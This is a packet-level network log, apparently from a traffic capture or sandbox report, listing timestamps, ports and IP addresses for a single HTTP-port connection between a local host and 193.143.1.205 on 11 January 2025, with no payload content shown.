Jan 11, 2025 07:59:02.215666056 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.215667963 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.215719938 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.215754032 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.215787888 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.215797901 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.215837002 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.215886116 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.215919018 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.215967894 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.215969086 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.215969086 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.216001034 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.216039896 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.216049910 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.216083050 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.216114044 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.216135025 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.216182947 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.216217041 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.216238976 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.216264963 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.216274023 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.216315985 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.216350079 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.216384888 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.216398954 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.216430902 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.216464043 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.216495037 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.216545105 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.216576099 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.216588020 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.216588020 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.216697931 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.216730118 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.216763020 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.216794968 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.216835976 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.216835976 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.216835976 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.216842890 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.216875076 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.216912031 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.216943979 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.216955900 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.216955900 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.216976881 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.217009068 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.217041969 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.217072964 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.217106104 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.217124939 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.217124939 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.217139006 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.217171907 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.217187881 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.217204094 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.217237949 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.217269897 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.217287064 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.217287064 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.217302084 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.217334032 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.217365980 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.217396975 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.217428923 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.217441082 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.217441082 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.217472076 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.217489004 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.217508078 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.217541933 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.217576027 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.217607975 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.217641115 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.217665911 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.217665911 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.217672110 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.217705011 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.217729092 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.217737913 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.217771053 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.217803001 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.217834949 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.217886925 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.217886925 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.217952967 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.218018055 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.218019962 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.218066931 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.218100071 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.218132973 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.218132973 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.218132973 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.218182087 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.218214035 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.218247890 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.218404055 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.219924927 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.223531961 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.223599911 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.223650932 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.223683119 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.223717928 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.223752022 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.223783970 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.223793983 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.223793983 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.223793983 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.223818064 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.223850965 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.223884106 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.223918915 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.223925114 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.223925114 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.251192093 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.251228094 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.251262903 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.251295090 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.251332045 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.251342058 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.468966007 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.469024897 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.518711090 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.523760080 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.523782015 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.523796082 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.523809910 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.523824930 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.523825884 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.523838997 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.523860931 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.523874998 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.523888111 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.523889065 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.523901939 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.523916006 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.523917913 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.523929119 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.523942947 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.523942947 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.523956060 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.523968935 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.523977995 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.523993015 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.523996115 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.524008989 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.524024963 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.524035931 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.524040937 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.524054050 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.524127960 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.524141073 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.524153948 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.524162054 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.524169922 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.524185896 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.524185896 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.524207115 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.524214983 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.524219036 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.524231911 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.524245024 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.524250031 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.524259090 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.524271965 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.524286032 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.524288893 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.524317980 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.524324894 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.524353981 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.524367094 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.524379969 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.524393082 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.524406910 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.524409056 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.524430037 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.524513960 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.524527073 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.524540901 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.524552107 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.524553061 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.524568081 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.524573088 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.524583101 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.524596930 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.524677038 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.524689913 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.524703026 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.524715900 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.524715900 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.524729967 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.524740934 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.524743080 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.524756908 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.524769068 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.524772882 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.524786949 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.524790049 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.524804115 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.524816990 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.524830103 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.524832964 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.524849892 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.524856091 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.524862051 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.524874926 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.524888992 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.524888992 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.524907112 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.525104046 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.525116920 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.525130033 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.525141954 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.525144100 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.525156975 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.525167942 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.525170088 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.525183916 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.525186062 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.525196075 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.525208950 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.525212049 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.525218010 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.525263071 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.525264978 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.525278091 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.525290966 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.525304079 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.525306940 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.525316954 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.525326014 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.525330067 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.525342941 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.525351048 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.525362968 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.525367022 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.525377035 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.525388956 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.525389910 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.525401115 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.525427103 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.525475979 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.525489092 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.525505066 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.525517941 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.525526047 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.525532961 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.525552988 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.525628090 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.525666952 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.525717974 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.525731087 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.525744915 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.525758028 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.525768995 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.525772095 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.525788069 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.525795937 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.525820017 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.525851011 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.525871038 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.525883913 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.525897980 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.525909901 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.525912046 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.525923014 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.525929928 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.525935888 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.525949001 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.525959969 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.525962114 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.525976896 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.526016951 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.526030064 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.526042938 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.526060104 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.526074886 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.526271105 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.526283979 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.526297092 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.526308060 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.526319981 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.526321888 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.526331902 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.526340008 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.526345968 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.526370049 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.526413918 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.526427031 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.526438951 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.526448965 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.526453018 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.526465893 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.526475906 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.526479006 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.526490927 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.526500940 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.526504993 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.526530981 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.526539087 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.526551962 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.526565075 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.526576996 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.526598930 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.526599884 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.526612997 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.526626110 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.526654005 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.526809931 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.526823044 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.526837111 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.526849985 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.526850939 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.526865005 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.526874065 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.526878119 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.526891947 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.526902914 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.526906013 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.526918888 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.526931047 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.526940107 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.526941061 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.526954889 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.526967049 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.526981115 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.527116060 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.527129889 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.527143955 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.527162075 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.527163982 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.527174950 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.527184963 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.527215004 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.527231932 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.527245045 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.527259111 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.527273893 CET	80	49710	193.143.1.205	192.168.2.6
